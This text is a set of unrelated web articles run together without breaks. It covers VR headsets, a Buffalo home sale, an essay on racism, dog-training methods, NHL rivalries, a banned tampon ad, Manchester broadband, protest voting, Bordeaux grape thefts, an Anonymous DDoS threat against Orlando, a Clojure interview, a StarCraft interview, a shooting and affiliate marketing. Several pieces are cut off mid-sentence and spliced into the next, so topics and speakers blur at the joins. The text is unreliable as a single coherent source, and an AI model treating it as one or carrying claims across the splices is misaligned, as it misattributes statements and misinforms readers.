Now prepare to forget about your dull home PC display and use new generation Oculus virtual reality headset also acquired by Facebook to deliver you futuristic senses and “unreal” emotions.
This project has proven itself to many leading game developers to be a breakthrough offering the wearer a stable and low latency motion-tracking with OLED display featuring 1080p quality inside with a much wider range of view comparing to small boxes presented before. Oculus Rift Dev Kit 2 also uses a new external cameras and multiple infrared LEDs which track the player’s head movement including looking over obstacles. For direct connection the device has USB and HDMI inputs.
This is a new chance to immerse into a new virtual reality of 3D technology just for $350. Though do not put your shoes on to plunder the stores, as there are even more news: the developer is so eager to make the VR serie perfect, that he has already started testing the next device from this line. According to the recently revealed details, it will be named Oculus Rift DK 3 and will come with implanted headphones to occupy your head completely. The prototype of next Oculus Rift VR headset, dubbed Crescent Bay has built-in audio.If you want to be able to afford the high-end former home of a Buffalo Bills head coach, you've got to make a lot of dough. And Keith Leo certainly knows how to do that.
The owner of Leo's Pizzeria – with four locations in South Buffalo, East Aurora and West Seneca, and a fifth opening in Orchard Park – paid $945,000 this week to buy Rex Ryan's glamorous 6,511-square-foot house in the Summit at Scherff development.
[Photo gallery: Inside Rex and Michelle Ryan’s WNY home]
The four-bedroom home at 50 Grand View Trail in Orchard Park, located on a hill with views of downtown Buffalo, features five full bathrooms with heated floors, a master suite, five fireplaces, a grand foyer, gourmet kitchen, a sunroom, a wet bar and wine cellar, and an in-ground pool, among other trimmings.
The house – which had 19 showings and four offers – was listed for $1.1 million, but Ryan and his wife had paid $975,000 for it two years ago.I’m baaaaack…from my vacation that is. Thanks so much to Phil Snider, Linda Brendle, Andy Campbell, Eric Elnes and Margot Starbuck for contributing guest pieces while I was away.
Though I’m physically back in the country, I’m hardly caught up enough to formulate a cogent blog post today. So I decided to share a piece from my friend Doug Hagler, who is a Presbyterian minister and one of the trio making up Two Friars and a Fool. His piece on racism is an important reminder of the essential shortcomings we’ve all yet to overcome in our lives and culture.
***
I’m a Racist, and So Can You
by Douglas Hagler
Today (3-7-13) I saw an article in my Facebook feed, a guest op-ed article in the New York Times written by Ta-Nehisi Coates. The article was entitled, “The Good, Racist People,” and it had to do with an incident wherein Forest Whitaker was frisked in a Manhattan deli. It of course went beyond this, to address the fact that racists believe that they are good people. Upright, moral citizens who are trying to be good people like most of the rest of us also happen to be racist. I am one of them.
Let me explain. I have deeply-held progressive convictions on most issues. I am one of those good people, or I try to be, that Coates is addressing in his article. I like to think that I do not act differently towards people of color. I have served very diverse communities as a chaplain and pastor, and I have never been told that I behaved inappropriately toward anyone, including people of color. When I say that I am a racist, what I mean is that I was raised in a neighborhood, and attended schools, where racism was easily discernable. (I still remember a swastika burned into the inside of the wooden door in the men’s room in my high school, so it didn’t take much discernment.) |
Reliable Recalls, uses a similar technique in which one dog ends up watching other dogs get treats when he didn’t come when called.) In the example above, once I’d withdrawn the food, I ask for a sit again, and then I’d back up so that my feet don’t get squished by the dog’s hindquarters hitting the ground. That’s how effective it is. I only use this once a dog has received positive reinforcement literally over and over and over again, and when I feel confident that he understands the exercise and is capable of performing it (not feeling poorly that day, not overwhelmed by a new environment, for example). But let’s be clear: it’s punishment, if you are going to use the term correctly.
3. What’s Positive for the Trainer may not be Positive for the Dog: As the opposite of “Punishment,” “Reinforcement,”is something that increases a behavior, period. If it’s “positive” (I’ll use +R here for Positive Reinforcement) then you have added something to the system, if it’s negative (-R), you’ve taken something away. In either case, you are looking for a behavior to increase. So how would you evaluate these scenarios:
Scenario One is, regrettably, astoundingly common: A shy dog is greeted by a person, whether it’s a vet tech or a neighbor, with shrieks of joy and looming hugs and/or kisses to the nose. The person is being “positive” in their eyes, but the dog is being punished for its very existence, terrified as it is by the rude and overwhelming approach by the stranger. A perfect of example of +P to the dog and +R to the human.
In Scenario Two, a trainer is waiting for a dog to raise it’s paw so that she can use +R and give it a treat, on her way to shaping a “high five.” The dog, having no clue what the trainer wants, tries sitting, circling, and lying down. The trainer stays still and quiet, an atypical posture for her, and turns her head away very slightly. She has just used +P to communicate to the dog, adding in an unnatural posture and an obvious turn of the head (obvious to the dog anyway) to decrease the frequency of the dog’s response in that context.
4. Positive Punishment (in which something is added to decrease the frequency of a behavior) isn’t always aversive. For example, after watching herding dogs influence the behavior of sheep without touching them, I took a page from their lesson plan and began using what I called “Body Blocks.” For example, while teaching Stay, I’ll give a dog infinite quantities of treats for staying still when asked, but also move forward to block her movement if she starts to get up. “Taking the space” I’ve called it, and I’ve found it to be incredibly useful in helping dogs understand what you want. (This is similar to the Psych study one commenter noted, in which students were “trained” to perform a new behavior by either 1) only being told “Yes” when they did right, 2) only being told “No” when they did wrong or, 3) being told both “Yes” and “No.” The students who were told both what was right and what was wrong learned fastest.)
I realize that some people consider Body Blocks to be highly aversive to dogs, and don’t use them. One commenter noted that she never used Body Blocks, feeling that they were too aversive to use on her dogs. Two things come to mind here: one is that I’ve done Body Blocks on one or two dogs now (or maybe 5,000), and can tell you that they respond in a myriad of ways. Some field-bred Labradors seem to think it’s the best game in town, and try their best to beat you, eyes shining, until they figure out soon enough that something even better happens if they just stay still for a moment. They behave as though, if they could, they’d say “That was fun! Got any more cool games up your sleeve?” However, super soft dogs, let’s imagine a melty little Shetland Sheepdog, need a quiet little forward lean to be influenced, and if someone moved too fast and too abruptly they could indeed scare them. This is a perfect example of how important it is for a trainer to be able to ‘read’ a dog, no matter what method they are using I would argue, and adjust their behavior based on the personality of the dog him or herself.
5. However, this does raise the question, the elephant in the room really, of using “aversives.” Are “Aversives” always bad? Ah, here’s where the rubber hits the road, isn’t it? We can all debate about what is +P and -P and +R and -R to our heart’s content, but isn’t the issue really “Is it ever acceptable to purposefully respond to a dog’s behavior with something that they perceive as aversive?” My own answer is another reason why I’d never sign a pledge to never use punishment, even as defined by the public. Life is just too complicated to be summed up in simple categories of black and white.
Do I think that we have a responsibility to be kind and gentle to our dogs? Yes.
Do I think that Positive Reinforcement is overwhelmingly the most effective method of training? Yes.
Do I use it 99.99% of the time? Yes.
Have I ever done something to a dog that I knew he would think was aversive to get him to stop doing something? Yes. Would I again? Yes.
Here’s an example:
When Willie first started working sheep, he had a bad habit of dashing into the flock and scattering them as if he was playing pool. Alisdair McRae, a brilliant trainer and teacher, explained that I simply had to prevent it from happening during the early stages of training, because there was nothing I could do that was more reinforcing to Willie. Not only did he get to watch the sheep bolt away (look what I can do!) and then chase them (wow is this fun!), he got to disperse the tension inside of his own body (and boy do I feel better!). So I set up practice after practice in which I was between him and the sheep, and just my presence was enough for him to stay back where he should when working. But once I had to move back away from the flock to begin short outruns, he began doing it again. We went back to working in closer, but every time I backed away far enough he’d eventually dash in, scatter the sheep and turn around, body relaxed, eyes shining, mouth open, having gotten the best reinforcement he could possibly get.
I began walking him away in response: you bolt in, session over. This helped a great deal, but not enough. Eventually, after several months of work, Willie charged in, for what I believed to be the simple joy of it. I responded a gruff voice (“Cut it out!”) and a fast and direct march toward him. I stopped a long way away but looked directly at him and said again, in no uncertain terms “You cut that out!” Willie, an extremely biddable dog, backed up and looked absolutely shocked... and didn’t do it again. He now has the most gorgeous outrun you can imagine, and he works right on balance 99.99% of the time. Every once in a while, when he’s very tense, he’ll begin to dash in and I’ll say his name low and quiet, and he’ll curve back out again. Do I feel badly about raising my voice in that context years ago? No, not at all. Does that mean I use aversives often in training? Not at all. I quite literally never use them in any trick or “obedience” training, and primarily use +P and “Premack principle” methods to solve behavioral problems. (For example, Willie learned to lie down while working sheep because lying down on cue became the window to getting to work more.)
I’ll talk more next week about what’s critical to do or not do IF one is going to use punishment, but right now it’s time to go let Willie out to pee. No doubt relieving his bladder will be +R for him!
MEANWHLE, back on the farm: We’re pretty much at storm central here, being pummeled by ice and sleet at the same time that the politics of the area are swirling around in a social and legislative blizzard of epic proportions. (I’m right outside of Madison WI, and teach at the University, which is pretty much the eye of the storm here. FYI, for those of you out of the country, there is a huge political debate going on here, involving almost 70,000 protesters at our state capitol over the weekend. Enough said about that, except that everyone I’ve talked to agrees that the energy of the entire area is palpable, and not so much in a good way. I wonder if the dogs can sense it?)
Poor Willie injured his left foreleg again on Friday, darn. He’s been on leash restriction since then and he’s improving nicely, but not enough to let him off leash yet. If it’s not better in a day or so I’ll take him in to my sports medicine specialist vet. So Willie is bored and Sushi is disgusted–last week the warmer weather had her happily outside for hours at a time, now she’s sitting at the window slashing her tail. After I slide my way to the barn and feed the sheep we’ll do a bunch of trick training tonight a perfect time to exercise their brains instead of their bodies!
Here are some lovely clouds from a few mornings ago:The NHL has released its schedule and with it, the new division realignment for the 2013-2014 season. While the Detroit Red Wings will be departing the West and the Central Division for the “greener” pastures of less travel of the East, the new Central Division has added three new teams; the Winnipeg Jets, Dallas Stars, Colorado Avalanche, and the Minnesota Wild. In this 4-part series, we’ll take a look at the new teams who were added and why it won’t take long to start hating them.
History Lesson: Stars and Predators
Predators All-Time Record vs. Dallas Stars:
Wins: 23 Losses: 30 Ties: 1 OT Losses: 1 SO Losses: 0 Points: 48 Goals For: 117 Goals Against: 144
These numbers won’t exactly have Barry Trotz and the Predators licking their chops when looking at the Stars games circled on the schedule. In the 55 games played against the Dallas Stars, the Predators have only won 23 of the games, with a minus-27 goal differential in the series.
Although the history between the teams has favored the Stars, the 2012-13 season saw the Predators finish with a 2-1-0 record against the Stars, with a plus-2 goal differential in the series. While the Predators are one of the lowest scoring teams in the league, in the 3-game series, the Predators tallied a total of 11 goals, an average of 3.66 goals per game.
Why You’ll Hate Them
You won’t hate them because they’re old, which they aren’t really that old anymore, coming in at an average of 28.6 for the 2013-14 season, good enough for 9th oldest team in the league. You won’t hate them because they choose to unveil new jerseys and logos every few years, including the new jerseys, logos, and colors that the Stars revealed this year.
You’ll hate the Dallas Stars this year, because they’re getting better. The Stars have been a mainstay in the battle for the last playoff spot in the West for the past few years, but this offseason, new Stars GM Jim Nill has already looked to give the team a new identity.
First, Nill traded for the rights of veteran offensive defenseman Sergei Gonchar, to help not only provide an offensive boost to the offensive, but to reunite him with Alex Goligoski, to continue the professional development that Gonchar was providing Goligoski with in their brief time together in Pittsburgh. As if the offensive boost on the blue line wasn’t enough, Nill thought the forward corps could use a change and went out and picked up potentially troublesome forward Tyler Seguin and Rich Peverley in exchange for Loui Eriksson. The Stars even went as far as to try to infuse offense into their lineup by getting Shawn Horcoff in a trade for Philip Larsen.
While Gonchar, Seguin, Peverley, and Horcoff may not exactly be what most fans would expect as potentially troubling, the reality is that the Stars lineup is significantly more offensively talented than that of the Predators, even with the additions of Forsberg and ilk to the lineup. Throughout the intersection of the two teams franchise histories, the Predators have not only had trouble scoring goals, but preventing them and the changes to the Stars lineup could spell continued trouble for a team that will most likely have trouble scoring often.
Join us next time for the third installment: Better Know Your New Predators Rival: Colorado Avalanche
The NHL regular season schedule was released on Friday. Check out our partners at TiqIQ for the best deals on Nashville Predators tickets for all 2013-14 games.An advertising campaign for tampons is rejected by US television networks for daring to include the word vagina
For years, advertising for tampons and "sanitary products" have been shrouded in nebulous euphemism. So what happens when a US tampon-maker drops the coy messaging and goes straight for the jugular (so to speak)? Its ad gets banned by the major US television networks for mentioning the word vagina.
Even when the company substituted "down there" for vagina, two of the networks still wouldn't run the ad, so the company was forced to drop the idea altogether. That provoked Amanda Hess, author of The Sexist blog, to observe: "Now, the commercial contains no direct references to female genitalia – you know, the place where the fucking tampon goes."
An executive for Kimberly-Clark, the owner of Kotex, notes that US TV networks have no such compunction about references to "erectile dysfunction" in prime-time ads for Viagra and Ciallis.
The New York Times reports that the campaign – produced by the advertising agency JWT, part of WPP – for tampon brand Kotex was "a bit too frank" for US television:
Merrie Harris, global business director at JWT, said that after being informed that it could not use the word vagina in advertising by three broadcast networks, it shot the ad cited above with the actress instead saying "down there", which was rejected by two of the three networks. (Both Ms Harris and representatives from the brand declined to specify the networks.) "It's very funny because the whole spot is about censorship," Ms Harris said. "The whole category has been very euphemistic, or paternalistic even, and we're saying, enough with the euphemisms, and get over it. Tampon is not a dirty word, and neither is vagina."
The amended ad shown above, "How do I feel about my period?", has a series of images parodying the stock images used in sanitary product advertising, and concludes: "The ads on TV are really helpful because they use that blue liquid, and I'm like, oh, that's what's supposed to happen." The ad debuted on US television this week.
Things are different in anything-goes Britain, where the makers of the Mooncup product have a website entitled loveyourvagina.com.Image caption The Loop stretches as far as Oldham and Eccles
After lying dormant beneath the streets of Manchester, it now seems a decade-old network of cables could hold the key to the city's future.
The 48-mile fibre optic Loop network is being brought to life to host ultra-fast broadband at speeds rarely seen outside London - a massive boost for increasingly technology-dependent businesses that struggled to cope with too-slow internet connections and had no idea they were sat on a hidden "pot of gold".
The network, which spreads as far as Oldham and Eccles, was laid ahead of the 2002 Manchester Commonwealth Games at the height of the dotcom bubble - but went unused after the developer went into administration.
It was bought by Trafford Park-based communications company Gamma and trialled as a residential service, but abandoned after a poor uptake.
"The web wasn't used as much back then and people didn't really get what we were offering, there wasn't the thirst for very fast connectivity there is now," a company spokesman explained.
Firms complained
The relatively new company got on with other projects, while technology progressed, the digital industries grew.
The government is investing millions in increasing internet access as part of its plan to boost the economy and enable UK businesses to compete globally.
It's like we've realised we have been sitting on a pot of gold. Sue Woodward, Sharp Project director
Meanwhile, Manchester City Council has started work on plans to become one of the world's top 20 "tech cities" by developing the largest cluster of digital and creative businesses in Europe, creating about 40,000 jobs by 2020.
The council is working with counterparts in New York, widely recognised as one of the world's leading digital cities, to try to realise its ambitions.
And in this new climate, as people searched for ways to get ahead in the digital age, they remembered the unused network of fibre optic cables buried below the city's streets.
Dave Carter, head of the city council's Manchester Digital Development Agency, said the authority was receiving complaints from businesses across the city unable to access top class telecoms services.
"If your company is backing up huge amounts of data overnight it can take hours and the cost for superfast services is ridiculously high in the UK compared to other countries," he said.
'Pot of gold'
"Firms complain it's slowing down their business, it's a constraint on the growth of some small businesses and some companies are put off opening in Manchester.
"The Loop opens up parts of the city that couldn't previously access superfast services, and hopefully it will help existing business to grow, and encourage more to open up here."
Image caption The cables are already laid underground
The first Loop customer is the Sharp Project, a group of 54 digital creative companies in north Manchester.
Project director Sue Woodward said the innovation would propel the city towards its goals.
"We already had a state-of-the-art system and the Loop has boosted it a hundred-fold - we now have unlimited capacity," she said.
"It makes us very attractive to new companies, it's a fantastic asset - it's like we've realised we have been sitting on a pot of gold."
It will also be competitively priced as the cables are ready to use, and could drive prices down due to the extra competition, according to Gamma's chief executive Bob Falconer.
He said: "Today it would cost tens of millions to install this level of cabling from scratch and cause massive disruption by digging up roads."
As part of the grand plan, next month the council will submit a bid to be chosen as a centre of digital excellence - which comes with a £24m government grant to develop technological innovation.
The authority is currently putting in place a £12m plan to make sure all residents and businesses are connected to the internet, and free public wifi is due to be in place across the city centre by Christmas.
Councillor Nigel Murphy, who oversees the Digital Manchester project, said: "We want to be in the top 20 in the world and could overtake London - it will take investment and time and people but we've got all that.
"The Loop is part of that infrastructure and gives us an edge."There’s No Such Thing As A Protest Vote
Clay Shirky Blocked Unblock Follow Following Aug 6, 2016
We’re in the season of protest vote advocacy, with writers of all political stripes making arguments for third-party candidates (Jill Stein, Gary Johnson), write-in votes (Bernie Sanders, Rod Silva), or refusing to vote altogether (#NeverTrump, #BernieOrBust.) For all the eloquence and passion and rage in these arguments, however, they suffer from a common flaw: there is no such thing as a protest vote.
The authors of these pieces rarely line up their preferred Presidential voting strategies — third-party, write-in, refusal — with the electoral system as it actually exists. In 2016, that system will offer 130 million or so voters just three options:
A. I prefer Donald Trump be President, rather than Hillary Clinton.
B. I prefer Hillary Clinton be President, rather than Donald Trump.
C. Whatever everybody else decides is OK with me.
That’s it. Those are the choices. All strategies other than a preference for Trump over Clinton or vice-versa reduce to Option C.
People who believe in protest votes do so because they confuse sending a message with receiving one. You can send any message you like: “I think Jill Stein should be President” or “I think David Duke should be President” or “I think Park Eunsol should be President.”
Similarly, you can send any message you like by not voting. You can say you are sitting out the election because both parties are neo-liberal or because an election without Lyndon LaRouche is a sham or because 9/11 was an inside job. The story you tell yourself about your political commitments are yours to construct.
But it doesn’t matter what message you think you are sending, because no one will receive it. No one is listening. The system is set up so that every choice other than ‘R’ or ‘D’ boils down to “I defer to the judgement of my fellow citizens.” It’s easy to argue that our system shouldn’t work like that. It’s impossible to argue it doesn’t work like that.
This is frustrating, of course, but that’s how our Presidential elections are set up. Democracies alternate the coalition in power, but different systems do so in different ways. In multi-party systems, voters get the satisfaction of voting for smaller, ideologically purer factions — environmental parties, anti-immigrant parties, and so on. The impure compromises come when those factions are forced to form coalitions large enough to govern. The inevitable tradeoffs are part of the governing process, not the electoral process.
In America, by contrast, the coalitions are the parties. Our system also produces alternation of power, and requires compromises among competing interests, but those compromises happen within long-standing caucuses; issues come and go, but the two parties remain. This forces the citizens themselves to get involved in the disappointing tradeoffs, rather than learning about them after the fact. No one gets what they want in a democracy; two-party systems simply rub voters’ noses in that fact.
People who plan to throw away their vote on Option C usually argue that their imagined protest won’t be futile, by offering one of three theories of change: their protest will work as a boycott, or as a defection, or as a step to third-party victory.
The first theory of change, the boycott, assumes that if people simply refuse to vote, it will threaten the establishment with loss of legitimacy. This will in turn cause that establishment to become more responsive to the demands of the boycotters.
Boycotts can work in countries where voting is mandatory, because not voting can be an act of civil disobedience. In the United States, however, voting is not and has never been required. (Our elites have always preferred minimal participation, and laziness is a cheaper tool than suppression.) In Presidential elections, non-voters always outnumber voters who choose the winning candidate. With that much passive non-participation, active non-participation gets lost.
The second theory of change is defection, where voters believe they can force a loss on either the Democrats or the Republicans, and thus make that party adopt their preferred policies, rather than face another such loss in the future.
Damage from defection has sometimes happened, as with James Weaver taking votes from Benjamin Harrison in 1892, but the two most widely-discussed recent cases — Ross Perot taking votes from George H.W. Bush in 1992 and Ralph Nader from Al Gore in 2000 — are not clear cut. In Perot’s case, he drew votes from Clinton and Bush; in Nader’s case, it’s not obvious how many of his voters would otherwise have stayed home.
Furthermore, even in rare cases where there was the damage, the losing parties did not heed the defecting voters: the Republicans did not become notably friendlier to urban workers after Weaver, nor did the Democrats become more notably anti-corporate from the perceived threat of Nader.
The third theory of change from protest voting is the obvious one: outright victory. This has never happened. Third-party candidates come in third, for the obvious reason.
In two centuries of American politics, only 54 such candidates have ever received over one vote in a hundred. None won, and the only second place loss, Teddy Roosevelt, had already been President twice, before he ran as an outsider against his hand-picked successor, William Taft. He failed at the election, but succeeded in splitting the Republican vote so badly a Democrat became President for the first time in twenty years.
It’s clear why third-party candidates want votes, but it’s not clear why voters would want third parties. The Green Party, for example, hasn’t elected so much as a member of Congress, much less fielded a credible Presidential candidate, and their organization does no actual environmental work. Greenpeace helps the environment more in any given week than the Green Party has in its entire existence, a problem common to third parties generally. If you’re a Libertarian, you’re better off donating to Cato than voting for Gary Johnson. If you’re a paleoconservative, you’re better off donating to the Rockford Institute than voting for Darrell Castle.
This is the legacy of protest votes: None of the proposed theories of change change anything. Boycotts don’t work, since non-voting is a normal case. Defection elects the greater of two evils from the voter’s point of view — and that’s if it works — while doing little to the parties. And victory never happens; not one third-party candidate has ever won, or come close. Advocates of wasted votes don’t bring up this record of universal failure, because their votes aren’t about changing political results. They’re about salving wounded pride.
Throwing away your vote on a message no one will hear, and which will change no outcome, is sometimes presented as ‘voting your conscience’, but that’s got it exactly backwards; your conscience is what keeps you from doing things that feel good to you but hurt other people. Citizens who vote for third-party candidates, write-in candidates, or nobody aren’t voting their conscience, they are voting their ego, unable to accept that a system they find personally disheartening actually applies to them.
The people advocating protest votes believe they deserve a choice that aligns closely with their political preferences. With 130 million voters, hundreds of issues, and just two candidates, this idea doesn’t even make mathematical sense, much less political sense. No matter who you are, voting isn’t about you. You are not promised a candidate you love, or even like, because no one is guaranteed that. Presidential voting is an exercise in distinguishing the lesser of two evils. Making that choice is all that’s asked of us, and all that’s on offer.
Picking the lesser of two evils is an easy choice to dislike (who likes it?) but when a winning candidate has to appeal to 65 million or so citizens with diverse interests, that’s a forced move for most voters most of the time. People who choose Option C aren’t being purer about their political choices — they’ve abandoned politics altogether. (The strategy of voting third-party in safely red or blue states just makes this explicit; those voters only indulge their fantasy that their vote will make a difference if they’re guaranteed it won’t.)
None of this creates an obligation to vote, or to vote for one of the two viable candidates. It is, famously, a free country, and you can vote for anyone you like, or for no one. But if you do, don’t kid yourself — and certainly don’t try to kid anyone else — that you are creating some kind of positive political change. Noisily opting out as a way of demonstrating your pique is an understandable human act. It’s just not a political act. It’s an elaborate way of making the rest of us do the work of deciding.This article is over 1 year old
Police say theft was clearly committed by professional vintners after a mild March and frosty April resulted in a very low yield
Crushing blow as French vineyards robbed of seven tonnes of grapes
At least seven tonnes of grapes have been stolen in the dead of night from vineyards in France’s prime winegrowing region of Bordeaux, following a disastrous yield blamed on poor weather, police say.
Three vineyards have had grapes and even whole vines stolen since mid-September, police said on Wednesday.
French winemakers deploy candles, heaters and helicopters to save vines from frost Read more
They said about six and a half tonnes of grapes disappeared from a vineyard in Génissac near the world-famous St-Émilion region, adding that the theft was clearly committed by professional vintners.
Between 600 and 700kg (1,300 and 1,500lb) of grapes were stolen from a vineyard in Pomerol, which produces top-quality reds.
Thieves also uprooted 500 vines from a vineyard in nearby Montagne, police said.
A fourth grape robbery took place in Lalande-de-Pomerol, according to a local press report.
Thieves making away with grapes is not a new phenomenon but it has surged this year apparently because of a very low yield.
“There’s a great temptation to help oneself from [the vineyard] next door,” an industry expert told AFP on condition of anonymity.
France faces its poorest wine harvest since 1945 after an unusually mild March and frosty April, experts said last month, although a hot summer promises to deliver top vintages.
The agriculture ministry said output was expected to total 37.2m hectolitres (983m US gallons), 18% less than 2016 and 17% below the average over the past five years.
The 2016 harvest was already one of the poorest in 30 years. This year, bitter cold struck twice within a week in April, ravaging the fragile shoots and buds that had emerged prematurely following mild temperatures in March.
To combat the frost, nervous Bordeaux winemakers set fires in oil drums, then positioned them carefully between the rows of budding grapevines. Giant fans were also deployed to battle the cold, damp air settling on the plants.
At the prestigious Vinexpo wine fair in Bordeaux in June, winemakers brainstormed over how to mitigate challenges to their livelihood posed by climate change.Members of ‘Food Not Bombs’ arrested – Anonymous declares war on Orlando, Florida
Members of anti-hunger organization
‘Food Not Bombs’ arrested in Orlando
for providing free meals
to homeless and working poor
Since the beginning of June, more than twenty members of the anti-hunger organization Food Not Bombs (FNB) have been arrested in Orlando, Florida for the “crime” of providing free meals to the homeless and working poor.
Food Not Bombs has long been serving free, vegan food in Orlando’s public parks. That all changed last month, when the city began enforcing a 2006 ordinance limiting groups who feed more than twenty-five people in parks to only two permited events per year. Food Not Bombs unsuccessfully appealed the decision in federal court and its members are now refusing to obey the law.
A spokesman for the city says that FNB recipients have been responsible for trash, public urination and crime in city parks. The mayor of Orlando, Buddy Dyer, went even further, calling the organization’s members “food terrorists” and accusing the group of having “different purposes” than helping the homeless.
Food not Bombs has a champion – Anonymous
The hacker group Anonymous has entered the fray. It took down a tourist website in Orlando, as a protest against the arrests of the volunteers from FNB.
Anonymous has warned that more attacks could follow as part of what it has dubbed “Operation Orlando”.
In a news release, the hacker group promised to carry out a distributed denial of service attack (DDoS) on a separate Orlando-related website every day until the arrests come to an end, choosing orlandofloridaguide.com as its first target.
The collective also said it will email millions of people across the world asking them to boycott the destination.
“This is a declaration of war,” said Anonymous, describing Operation Orlando.
“Anonymous will now begin a massive campaign against you and your city web assets,” it added in a message directed at Orlando officials.
Food Not Bombs will continue to defy the law.On the eve of the first free, online “Clojure 101” course, Michael Kohl of RubyLearning caught up with Amit Rathore, author of the forthcoming book – Clojure in Action. In this interview, Amit Rathore talks to the Clojure 101 course participants on Clojure.
Michael>> Welcome, Amit and thanks for taking out time for RubyLearning’s Clojure course participants. For their benefit, could you tell us something about yourself?
Amit>> I’ve been programming since I was 11, and been designing and developing software systems in a professional setting for about ten years now. The last few years have seen me transition from Java to Ruby, along with a smattering of other languages such as Python, Scheme, and Smalltalk. Since late 2008, I’ve been using Clojure full-time. I’ve made a few open-source contributions to the Clojure community – some examples are data-mappers for HBase and Redis, and another one called Swarmiji which allows you to write distributed programs (that span multiple CPUs, not just multiple cores) in Clojure. I’m currently the Chief Software Architect at a startup called Runa, in Mountain View, CA. We are a provider of SaaS solutions to online e-tailers to enable them to provide real-time, analytics-driven promotions to their shoppers. More than 90% of our backend is written in Clojure.
Michael>> How did you get involved with Clojure?
Amit>> As I said earlier, I’ve used Scheme on my personal projects from time to time. At Runa, we always knew we could benefit from using a Lisp for our back-end, what with all the analytics and machine-learning that the system needs to do. When all the scalability requirements were thrown in, we seriously considered using Erlang, thanks to it being functional and its concurrency support. It was just around then that the Clojure community really started taking off, and we decided to try it out. We’ve never looked back, and we’re extremely pleased with the outcome so far. Our analytics-powered, adaptive, conversion-marketing engine is miles ahead of any potential competition… and we can add features (and make sure things still work, and are as performant as needed) faster than any potential competition. If you have read Paul Graham’s essay called Beating The Averages, you know what I’m talking about. In Jan 2009, following our initial Clojure deployment, I started the Bay Area Clojure User Group. It’s going to host its 17th Meetup next month. It’s great to see the community growing, and its great being a part of it.
Michael>> You are currently writing “Clojure in Action”. What can you tell us about the book?
Amit>> When Manning Publications contacted me regarding a new Clojure book, they wanted something different from what was already available, and what they knew was in progress. When we discussed my Clojure experience and startup background, we came up with the concept of the Clojure in Action book. The idea basically resulted in a Clojure book that does a few things:
Teaches Clojure from first principles i.e. why are certain things the way they are, and how they’re better than what currently exists in popular languages. Teaches a developer new to Clojure to get going after reading the book – it answers the “OK, what now?” question – by addressing issues like test-driven development, IDEs, dependency management, debugging/profiling, and so on. Real-world usage for web-scale applications – from all the experience I’ve gleaned working with HBase, Redis, RabbitMQ, Amazon services, Hadoop/MapReduce, and so on. And finally, advanced usage of macros to build DSLs (domain-specific languages). So readers of all levels will get something from the book – folks new to Clojure can get started quickly, while intermediate to advanced users can gain also.
Michael>> Many of RubyLearning’s Clojure course participants have a Java and or Ruby background. What, according to you, are the benefits to these participants after learning Clojure?
Amit>> The functional approach is just a better way to program. So that, in itself, is a huge learning opportunity. In the words of Eric Raymond, the famed hacker, “LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot.” And the great news is that Clojure, the latest incarnation of LISP, is actually so usable that once you start, you will never want to program in any other language again. This influence includes meta-programming, which will especially benefit Ruby folks. On the other hand, it will also make developers from both the camps (especially Java) realize just how limiting their languages are. Actually, this is also a good thing.
Michael>> Why do you think that such a free, online Clojure course at RubyLearning would be beneficial to the Clojure community?
Amit>> Clojure will only succeed if more and more people adopt it. While it is a no-brainer once you understand what it offers in terms of productivity and code-quality, it has the initial problem of getting-the-word-out. Such a free, online course can do this quite effectively.
Michael>> How should they go about acquiring knowledge and skills in Clojure? What’s the best approach?
Amit>> There is one book published so far, and several coming out. Those are good resources. There are plenty of tutorials online, as well as a ton of open-source code which can be great resources. There are several very active Clojure user groups around the country, and indeed all over the world. Also, the IRC channel is fantastic.
Michael>> Which areas in Clojure should a would-be Clojure programmer concentrate on?
Amit>> Functional programming would be an important topic. People coming from an imperative background have to sort of re-wire their brains. Another topic is “the Lisp way”, which is this idea of bottom-up design (as opposed to the traditional top-down approach to breaking things down). Creating mini-languages (fashionably called Domain Specific Languages these days) that allow the developer to program at a much higher-level of abstraction is another important design |
the match against oGsMC at the World championships because I lost once as you know. So, I was rather eager to win when I fell behind 0:2. And I could focus on it and came up from behind. I kept my presence of mind and defended void rays and zealots inside my base. When I came to myself, I was seizing the chance to victory.MKP: The thor rush is very useful to use vs. Protoss as a sudden single-use strategy. Personally, I feel sorry losing that game in vain as I made a mistake in early stage, not repairing the bunker against 1 zealot and 2 stalkers. But I will use the thor rush whenever I have a match against Protoss in the future.MKP: You never touched a sore subject, don’t worry. Rather, I’m proud of having 3 times of finals. The more I have final matches, the more earnest to win I become. So, I become enthusiastic more and more.MKP: Thank you. :DI also think it was the match against Kyrix in the round of 8 at season II the GSL open that I played most risky and nervously. And the match against oGsMC at the World Championship was hardest and happiest play I have played.MKP: I think it is my little strong point for me to control marines delicately compare to other players.MKP: If I have a chance, I will participate Korean matches as well as overseas tournaments.MKP: All of 3 players is top and it is hard to expect. Recently, I’m weak at tvt but NaDa is strong and I’m not sure I can win. For Zenio vs. Alicia, Alicia seems to win easily. Because Alicia is very good player and zvp is leaning to P.MKP: Of course, I want to be the best of SCII. But I also want to be the most popular and I want to remain long in fans’ memories.MKP: I think dimaga and sen for zerg, jinro for terran, huk and whitera for protoss are as good as Korean players.MKP: I’m not good at English and I couldn’t realize the popularity when I visited foreign fan sites. But I think I should play better to show good games to the fans hearing many foreign fans are cheering me. And I love the foreign fans as much as Korean fans, or more.MKP: I really appreciate for your support and good messages once again.Armed woman shoots, kills suspect attacking conservation officer Copyright by WCMH - All rights reserved Video
RISING SUN, IN (WLWT) A man involved in a confrontation with an Indiana conservation officer has died after being shot by a witness.
Indiana State Police said the incident happened around 12:30 p.m. Monday about 10 miles west of Rising Sun.
According to the Ohio County Sheriff's Office, the officer was responding to reports of a suspicious person in the area. Authorities said the off-duty conservation officer responded to the dispatcher's reports, and made contact with the man, identified as Justin Holland, 32.
Officials said Holland resisted arrest, and a fight broke out between the pair.
"At some point, that officer began to lose that altercation with that person," said Sgt. Stephen Wheeles with Indiana State Police. "It was at that time that a female who was nearby saw what was taking place and decided that she needed to take action and come to the assistance of that officer."
Officials said the woman was at a nearby residence, and went to assist the officer. She fired one shot, striking Holland in the torso.
Holland was taken to Dearborn County Hospital for treatment. He was later pronounced dead.Affiliate marketing has gradually gained momentum across all corners of the planet. Actually, you can even work from home by generating web traffic to a company’s website and earn money based on and that sales which are brought in. Best of all if you are trying to sell funnels, its one of the best ways to do it! That’s why today I am writing about some of the very best affiliate marketing courses you can find in 2019.
The journey to becoming the very best within this field requires a solid education program that will guide you on the dos and don’ts of this new trend. The education is aimed at giving you the basic knowledge that you will need as you navigate through the world of affiliate marketing.
